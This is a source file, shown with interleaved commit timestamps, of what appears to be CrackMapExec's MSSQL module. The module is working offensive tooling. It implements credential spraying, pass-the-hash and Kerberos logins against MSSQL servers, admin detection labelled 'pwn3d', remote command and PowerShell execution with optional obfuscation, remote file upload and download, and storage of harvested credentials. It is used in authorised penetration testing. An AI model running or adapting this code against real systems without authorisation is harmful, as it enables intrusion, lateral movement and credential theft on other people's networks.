2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2016-12-15 07:28:00 +00:00
import socket
import logging
from cme . logger import CMEAdapter
2019-11-10 21:42:04 +00:00
from io import StringIO
2016-12-15 07:28:00 +00:00
from cme . protocols . mssql . mssqlexec import MSSQLEXEC
from cme . connection import *
from cme . helpers . logger import highlight
2021-11-20 21:37:14 +00:00
from cme . helpers . bloodhound import add_user_bh
2016-12-15 07:28:00 +00:00
from cme . helpers . powershell import create_ps_command
from impacket import tds
2019-11-10 21:42:04 +00:00
import configparser
2022-11-16 20:39:44 +00:00
from impacket . krb5 . ccache import CCache
2017-05-03 00:52:16 +00:00
from impacket . smbconnection import SMBConnection , SessionError
2016-12-15 07:28:00 +00:00
from impacket . tds import SQLErrorException , TDS_LOGINACK_TOKEN , TDS_ERROR_TOKEN , TDS_ENVCHANGE_TOKEN , TDS_INFO_TOKEN , \
TDS_ENVCHANGE_VARCHAR , TDS_ENVCHANGE_DATABASE , TDS_ENVCHANGE_LANGUAGE , TDS_ENVCHANGE_CHARSET , TDS_ENVCHANGE_PACKETSIZE
2017-10-25 06:45:58 +00:00
2016-12-15 07:28:00 +00:00
class mssql ( connection ) :
def __init__ ( self , args , db , host ) :
self . mssql_instances = None
self . domain = None
2020-05-01 18:33:18 +00:00
self . server_os = None
2016-12-15 07:28:00 +00:00
self . hash = None
2020-09-06 13:21:38 +00:00
self . os_arch = None
2022-10-31 12:33:41 +00:00
self . nthash = ' '
2016-12-15 07:28:00 +00:00
2017-10-25 06:45:58 +00:00
connection . __init__ ( self , args , db , host )
2016-12-15 07:28:00 +00:00
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2017-10-25 02:08:19 +00:00
mssql_parser = parser . add_parser ( ' mssql ' , help = " own stuff using MSSQL " , parents = [ std_parser , module_parser ] )
2016-12-15 07:28:00 +00:00
dgroup = mssql_parser . add_mutually_exclusive_group ( )
2017-03-27 21:09:36 +00:00
dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , help = " domain name " )
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2016-12-15 07:28:00 +00:00
mssql_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
2017-05-03 00:52:16 +00:00
mssql_parser . add_argument ( " --port " , default = 1433 , type = int , metavar = ' PORT ' , help = ' MSSQL port (default: 1433) ' )
2017-10-25 03:52:41 +00:00
mssql_parser . add_argument ( " -q " , " --query " , dest = ' mssql_query ' , metavar = ' QUERY ' , type = str , help = ' execute the specified query against the MSSQL DB ' )
2020-04-30 14:06:57 +00:00
mssql_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' , help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
mssql_parser . add_argument ( " --continue-on-success " , action = ' store_true ' , help = " continues authentication attempts even after successes " )
2016-12-15 07:28:00 +00:00
2017-04-30 18:54:35 +00:00
cgroup = mssql_parser . add_argument_group ( " Command Execution " , " options for executing commands " )
2017-03-27 21:09:36 +00:00
cgroup . add_argument ( ' --force-ps32 ' , action = ' store_true ' , help = ' force the PowerShell command to run in a 32-bit process ' )
cgroup . add_argument ( ' --no-output ' , action = ' store_true ' , help = ' do not retrieve command output ' )
2016-12-15 07:28:00 +00:00
xgroup = cgroup . add_mutually_exclusive_group ( )
2017-03-27 21:09:36 +00:00
xgroup . add_argument ( " -x " , metavar = " COMMAND " , dest = ' execute ' , help = " execute the specified command " )
xgroup . add_argument ( " -X " , metavar = " PS_COMMAND " , dest = ' ps_execute ' , help = ' execute the specified PowerShell command ' )
2016-12-15 07:28:00 +00:00
2017-06-26 09:49:04 +00:00
psgroup = mssql_parser . add_argument_group ( ' Powershell Obfuscation ' , " Options for PowerShell script obfuscation " )
psgroup . add_argument ( ' --obfs ' , action = ' store_true ' , help = ' Obfuscate PowerShell scripts ' )
psgroup . add_argument ( ' --clear-obfscripts ' , action = ' store_true ' , help = ' Clear all cached obfuscated PowerShell scripts ' )
2022-06-29 11:44:41 +00:00
tgroup = mssql_parser . add_argument_group ( " Files " , " Options for put and get remote files " )
tgroup . add_argument ( " --put-file " , nargs = 2 , metavar = " FILE " , help = ' Put a local file into remote target, ex: whoami.txt C: \\ Windows \\ Temp \\ whoami.txt ' )
tgroup . add_argument ( " --get-file " , nargs = 2 , metavar = " FILE " , help = ' Get a remote file, ex: C: \\ Windows \\ Temp \\ whoami.txt whoami.txt ' )
2016-12-15 07:28:00 +00:00
return parser
2017-05-03 00:52:16 +00:00
def proto_flow ( self ) :
self . proto_logger ( )
if self . create_conn_obj ( ) :
self . enum_host_info ( )
self . print_host_info ( )
self . login ( )
if hasattr ( self . args , ' module ' ) and self . args . module :
self . call_modules ( )
else :
self . call_cmd_args ( )
2016-12-15 07:28:00 +00:00
def proto_logger ( self ) :
self . logger = CMEAdapter ( extra = {
' protocol ' : ' MSSQL ' ,
' host ' : self . host ,
2017-05-03 00:52:16 +00:00
' port ' : self . args . port ,
' hostname ' : ' None '
2016-12-15 07:28:00 +00:00
} )
def enum_host_info ( self ) :
2020-05-01 18:20:55 +00:00
# this try pass breaks module http server, more info https://github.com/byt3bl33d3r/CrackMapExec/issues/363
try :
# Probably a better way of doing this, grab our IP from the socket
self . local_ip = str ( self . conn . socket ) . split ( ) [ 2 ] . split ( ' = ' ) [ 1 ] . split ( ' : ' ) [ 0 ]
except :
pass
2017-10-25 06:45:58 +00:00
2020-09-06 13:21:38 +00:00
if self . args . domain :
self . domain = self . args . domain
else :
try :
smb_conn = SMBConnection ( self . host , self . host , None )
2017-10-25 02:08:19 +00:00
try :
2020-09-06 13:21:38 +00:00
smb_conn . login ( ' ' , ' ' )
except SessionError as e :
2020-10-01 14:46:13 +00:00
if " STATUS_ACCESS_DENIED " in e . getErrorString ( ) :
2017-10-25 02:08:19 +00:00
pass
2020-09-06 13:21:38 +00:00
self . domain = smb_conn . getServerDNSDomainName ( )
self . hostname = smb_conn . getServerName ( )
self . server_os = smb_conn . getServerOS ( )
self . logger . extra [ ' hostname ' ] = self . hostname
try :
smb_conn . logoff ( )
except :
pass
2017-10-25 02:08:19 +00:00
2020-09-06 13:21:38 +00:00
if self . args . domain :
self . domain = self . args . domain
2017-10-25 02:08:19 +00:00
2020-09-06 13:21:38 +00:00
if self . args . local_auth :
self . domain = self . hostname
2017-05-03 00:52:16 +00:00
2020-09-06 13:21:38 +00:00
except Exception as e :
self . logger . error ( " Error retrieving host domain: {} specify one manually with the ' -d ' flag " . format ( e ) )
2016-12-15 07:28:00 +00:00
2020-09-06 13:21:38 +00:00
self . mssql_instances = self . conn . getInstances ( 0 )
2023-03-12 02:25:23 +00:00
self . db . add_host ( self . host , self . hostname , self . domain , self . server_os , len ( self . mssql_instances ) )
2017-11-02 09:43:08 +00:00
2016-12-15 07:28:00 +00:00
try :
self . conn . disconnect ( )
except :
pass
def print_host_info ( self ) :
2020-09-06 13:21:38 +00:00
self . logger . info ( u " {} (name: {} ) (domain: {} ) " . format ( self . server_os ,
self . hostname ,
self . domain ) )
# if len(self.mssql_instances) > 0:
# self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
# for i, instance in enumerate(self.mssql_instances):
# self.logger.debug("Instance {}".format(i))
# for key in instance.keys():
# self.logger.debug(key + ":" + instance[key])
2016-12-15 07:28:00 +00:00
def create_conn_obj ( self ) :
try :
2017-05-03 00:52:16 +00:00
self . conn = tds . MSSQL ( self . host , self . args . port , rowsPrinter = self . logger )
2016-12-15 07:28:00 +00:00
self . conn . connect ( )
except socket . error :
return False
return True
2022-03-03 20:25:03 +00:00
def check_if_admin ( self ) :
2016-12-15 07:28:00 +00:00
try :
2020-10-01 08:12:16 +00:00
self . conn . sql_query ( " SELECT IS_SRVROLEMEMBER( ' sysadmin ' ) " )
2017-05-03 00:52:16 +00:00
self . conn . printRows ( )
query_output = self . conn . _MSSQL__rowsPrinter . getMessage ( )
2020-10-01 08:12:16 +00:00
query_output = query_output . strip ( " \n - " )
2017-05-03 00:52:16 +00:00
2020-10-01 08:12:16 +00:00
if int ( query_output ) :
2016-12-15 07:28:00 +00:00
self . admin_privs = True
2017-05-03 00:52:16 +00:00
else :
return False
except Exception as e :
2020-09-06 13:30:03 +00:00
self . logger . error ( ' Error calling check_if_admin(): {} ' . format ( e ) )
2016-12-15 07:28:00 +00:00
return False
return True
2022-10-24 08:10:44 +00:00
def kerberos_login ( self , domain , username , password = ' ' , ntlm_hash = ' ' , aesKey = ' ' , kdcHost = ' ' , useCache = False ) :
try :
2022-10-24 08:24:21 +00:00
self . conn . disconnect ( )
except :
pass
self . create_conn_obj ( )
logging . getLogger ( " impacket " ) . disabled = True
2022-10-24 11:30:07 +00:00
2022-10-31 12:33:41 +00:00
nthash = ' '
hashes = None
if ntlm_hash != ' ' :
if ntlm_hash . find ( ' : ' ) != - 1 :
hashes = ntlm_hash
nthash = ntlm_hash . split ( ' : ' ) [ 1 ]
else :
# only nt hash
hashes = ' : %s ' % ntlm_hash
nthash = ntlm_hash
if not all ( ' ' == s for s in [ self . nthash , password , aesKey ] ) :
kerb_pass = next ( s for s in [ self . nthash , password , aesKey ] if s )
else :
kerb_pass = ' '
try :
2022-10-24 11:30:07 +00:00
res = self . conn . kerberosLogin ( None , username , password , domain , hashes , aesKey , kdcHost = kdcHost , useCache = useCache )
2022-10-24 08:10:44 +00:00
if res is not True :
self . conn . printReplies ( )
return False
self . password = password
2022-11-16 20:39:44 +00:00
if username == ' ' and useCache :
ccache = CCache . loadFile ( os . getenv ( ' KRB5CCNAME ' ) )
principal = ccache . principal . toPrincipal ( )
self . username = principal . components [ 0 ]
username = principal . components [ 0 ]
else :
self . username = username
2022-10-24 08:10:44 +00:00
self . domain = domain
self . check_if_admin ( )
2022-10-24 12:12:32 +00:00
out = u ' {} {} {} {} ' . format ( ' {} \\ ' . format ( domain ) if not self . args . local_auth else ' ' ,
2022-10-24 08:10:44 +00:00
username ,
2022-10-24 12:12:32 +00:00
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 08:10:44 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . success ( out )
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
if not self . args . continue_on_success :
return True
except Exception as e :
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( ' {} \\ ' . format ( domain ) if not self . args . local_auth else ' ' ,
username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 12:12:32 +00:00
e ) )
2022-10-24 08:10:44 +00:00
return False
2016-12-15 07:28:00 +00:00
def plaintext_login ( self , domain , username , password ) :
2020-05-01 21:18:16 +00:00
try :
self . conn . disconnect ( )
except :
pass
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
2020-05-01 21:11:54 +00:00
try :
2022-10-24 19:20:14 +00:00
res = self . conn . login ( None , username , password , domain , None , not self . args . local_auth )
2020-05-01 21:11:54 +00:00
if res is not True :
2020-09-06 19:38:29 +00:00
self . conn . printReplies ( )
return False
2020-05-01 21:11:54 +00:00
self . password = password
self . username = username
2020-09-06 19:38:29 +00:00
self . domain = domain
2022-03-03 20:25:03 +00:00
self . check_if_admin ( )
2020-05-01 21:11:54 +00:00
self . db . add_credential ( ' plaintext ' , domain , username , password )
if self . admin_privs :
self . db . add_admin_user ( ' plaintext ' , domain , username , password , self . host )
2020-09-06 19:38:29 +00:00
out = u ' {} {} : {} {} ' . format ( ' {} \\ ' . format ( domain ) if not self . args . local_auth else ' ' ,
2020-05-01 21:11:54 +00:00
username ,
2022-02-06 22:56:41 +00:00
password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2020-05-01 21:11:54 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . success ( out )
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2020-05-01 21:11:54 +00:00
if not self . args . continue_on_success :
return True
2023-03-10 06:12:59 +00:00
except BrokenPipeError as e :
self . logger . error ( f " Broken Pipe Error while attempting to login " )
2020-05-01 21:11:54 +00:00
except Exception as e :
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( domain ,
username ,
2022-02-07 21:19:46 +00:00
password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2020-05-01 21:11:54 +00:00
e ) )
return False
2020-04-30 14:06:57 +00:00
2016-12-15 07:28:00 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
lmhash = ' '
nthash = ' '
2017-10-25 03:52:41 +00:00
# This checks to see if we didn't provide the LM Hash
2016-12-15 07:28:00 +00:00
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
else :
nthash = ntlm_hash
2020-05-01 21:18:16 +00:00
try :
self . conn . disconnect ( )
except :
pass
self . create_conn_obj ( )
2016-12-15 07:28:00 +00:00
2020-05-01 21:18:16 +00:00
try :
2022-10-24 19:20:14 +00:00
res = self . conn . login ( None , username , ' ' , domain , ' : ' + nthash if not lmhash else ntlm_hash , not self . args . local_auth )
2020-05-01 21:18:16 +00:00
if res is not True :
self . conn . printReplies ( )
return False
2016-12-15 07:28:00 +00:00
2020-05-01 21:18:16 +00:00
self . hash = ntlm_hash
self . username = username
self . domain = domain
self . check_if_admin ( )
self . db . add_credential ( ' hash ' , domain , username , ntlm_hash )
2016-12-15 07:28:00 +00:00
2020-05-01 21:18:16 +00:00
if self . admin_privs :
self . db . add_admin_user ( ' hash ' , domain , username , ntlm_hash , self . host )
2016-12-15 07:28:00 +00:00
2020-05-01 21:18:16 +00:00
out = u ' {} \\ {} {} {} ' . format ( domain ,
username ,
2022-02-06 22:56:41 +00:00
ntlm_hash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2020-05-01 21:18:16 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . success ( out )
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2020-05-01 21:18:16 +00:00
if not self . args . continue_on_success :
return True
2023-03-10 06:12:59 +00:00
except BrokenPipeError as e :
self . logger . error ( f " Broken Pipe Error while attempting to login " )
2020-05-01 21:18:16 +00:00
except Exception as e :
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( domain ,
username ,
2022-02-07 21:19:46 +00:00
ntlm_hash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2020-05-01 21:18:16 +00:00
e ) )
return False
2016-12-15 07:28:00 +00:00
def mssql_query ( self ) :
self . conn . sql_query ( self . args . mssql_query )
2017-05-03 00:52:16 +00:00
self . conn . printRows ( )
2017-10-25 03:52:41 +00:00
for line in StringIO ( self . conn . _MSSQL__rowsPrinter . getMessage ( ) ) . readlines ( ) :
2020-04-29 09:56:11 +00:00
if line . strip ( ) != ' ' :
self . logger . highlight ( line . strip ( ) )
2017-05-03 00:52:16 +00:00
return self . conn . _MSSQL__rowsPrinter . getMessage ( )
2016-12-15 07:28:00 +00:00
@requires_admin
2017-10-25 06:45:58 +00:00
def execute ( self , payload = None , get_output = False , methods = None ) :
2016-12-15 07:28:00 +00:00
if not payload and self . args . execute :
payload = self . args . execute
if not self . args . no_output : get_output = True
2017-10-25 06:45:58 +00:00
logging . debug ( ' Command to execute: \n {} ' . format ( payload ) )
2016-12-15 07:28:00 +00:00
exec_method = MSSQLEXEC ( self . conn )
2017-10-25 06:45:58 +00:00
raw_output = exec_method . execute ( payload , get_output )
2016-12-15 07:28:00 +00:00
logging . debug ( ' Executed command via mssqlexec ' )
2017-05-03 00:52:16 +00:00
if hasattr ( self , ' server ' ) : self . server . track_host ( self . host )
2016-12-15 07:28:00 +00:00
2019-11-10 23:12:35 +00:00
output = u ' {} ' . format ( raw_output )
2016-12-15 07:28:00 +00:00
if self . args . execute or self . args . ps_execute :
2017-05-03 00:52:16 +00:00
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
self . logger . success ( ' Executed command via mssqlexec ' )
2016-12-15 07:28:00 +00:00
buf = StringIO ( output ) . readlines ( )
for line in buf :
2020-04-29 09:56:11 +00:00
if line . strip ( ) != ' ' :
self . logger . highlight ( line . strip ( ) )
2016-12-15 07:28:00 +00:00
return output
@requires_admin
2017-10-25 06:45:58 +00:00
def ps_execute ( self , payload = None , get_output = False , methods = None , force_ps32 = False , dont_obfs = True ) :
2016-12-15 07:28:00 +00:00
if not payload and self . args . ps_execute :
payload = self . args . ps_execute
if not self . args . no_output : get_output = True
2017-10-25 06:45:58 +00:00
# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method (probably an escaping issue)
ps_command = create_ps_command ( payload , force_ps32 = force_ps32 , dont_obfs = dont_obfs )
return self . execute ( ps_command , get_output )
2016-12-15 07:28:00 +00:00
2022-06-29 11:44:41 +00:00
@requires_admin
def put_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . put_file [ 0 ] , self . args . put_file [ 1 ] ) )
with open ( self . args . put_file [ 0 ] , ' rb ' ) as f :
try :
data = f . read ( )
self . logger . info ( ' Size is {} bytes ' . format ( len ( data ) ) )
exec_method = MSSQLEXEC ( self . conn )
exec_method . put_file ( data , self . args . put_file [ 1 ] )
if exec_method . file_exists ( self . args . put_file [ 1 ] ) :
self . logger . success ( ' File has been uploaded on the remote machine ' )
else :
self . logger . error ( ' File does not exist on the remote system.. erorr during upload ' )
except Exception as e :
self . logger . error ( ' Error during upload : {} ' . format ( e ) )
@requires_admin
def get_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
try :
exec_method = MSSQLEXEC ( self . conn )
exec_method . get_file ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] )
self . logger . success ( ' File {} was transferred to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
except Exception as e :
self . logger . error ( ' Error reading file {} : {} ' . format ( self . args . get_file [ 0 ] , e ) )
2017-10-25 02:08:19 +00:00
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity
2016-12-15 07:28:00 +00:00
def printRepliesCME ( self ) :
for keys in self . replies . keys ( ) :
for i , key in enumerate ( self . replies [ keys ] ) :
if key [ ' TokenType ' ] == TDS_ERROR_TOKEN :
error = " ERROR( %s ): Line %d : %s " % ( key [ ' ServerName ' ] . decode ( ' utf-16le ' ) , key [ ' LineNumber ' ] , key [ ' MsgText ' ] . decode ( ' utf-16le ' ) )
self . lastError = SQLErrorException ( " ERROR: Line %d : %s " % ( key [ ' LineNumber ' ] , key [ ' MsgText ' ] . decode ( ' utf-16le ' ) ) )
self . _MSSQL__rowsPrinter . error ( error )
elif key [ ' TokenType ' ] == TDS_INFO_TOKEN :
self . _MSSQL__rowsPrinter . info ( " INFO( %s ): Line %d : %s " % ( key [ ' ServerName ' ] . decode ( ' utf-16le ' ) , key [ ' LineNumber ' ] , key [ ' MsgText ' ] . decode ( ' utf-16le ' ) ) )
elif key [ ' TokenType ' ] == TDS_LOGINACK_TOKEN :
self . _MSSQL__rowsPrinter . info ( " ACK: Result: %s - %s ( %d %d %d %d ) " % ( key [ ' Interface ' ] , key [ ' ProgName ' ] . decode ( ' utf-16le ' ) , key [ ' MajorVer ' ] , key [ ' MinorVer ' ] , key [ ' BuildNumHi ' ] , key [ ' BuildNumLow ' ] ) )
elif key [ ' TokenType ' ] == TDS_ENVCHANGE_TOKEN :
if key [ ' Type ' ] in ( TDS_ENVCHANGE_DATABASE , TDS_ENVCHANGE_LANGUAGE , TDS_ENVCHANGE_CHARSET , TDS_ENVCHANGE_PACKETSIZE ) :
record = TDS_ENVCHANGE_VARCHAR ( key [ ' Data ' ] )
if record [ ' OldValue ' ] == ' ' :
record [ ' OldValue ' ] = ' None ' . encode ( ' utf-16le ' )
elif record [ ' NewValue ' ] == ' ' :
record [ ' NewValue ' ] = ' None ' . encode ( ' utf-16le ' )
if key [ ' Type ' ] == TDS_ENVCHANGE_DATABASE :
_type = ' DATABASE '
elif key [ ' Type ' ] == TDS_ENVCHANGE_LANGUAGE :
_type = ' LANGUAGE '
elif key [ ' Type ' ] == TDS_ENVCHANGE_CHARSET :
_type = ' CHARSET '
elif key [ ' Type ' ] == TDS_ENVCHANGE_PACKETSIZE :
_type = ' PACKETSIZE '
else :
_type = " %d " % key [ ' Type ' ]
self . _MSSQL__rowsPrinter . info ( " ENVCHANGE( %s ): Old Value: %s , New Value: %s " % ( _type , record [ ' OldValue ' ] . decode ( ' utf-16le ' ) , record [ ' NewValue ' ] . decode ( ' utf-16le ' ) ) )
2017-04-30 18:54:35 +00:00
tds . MSSQL . printReplies = printRepliesCME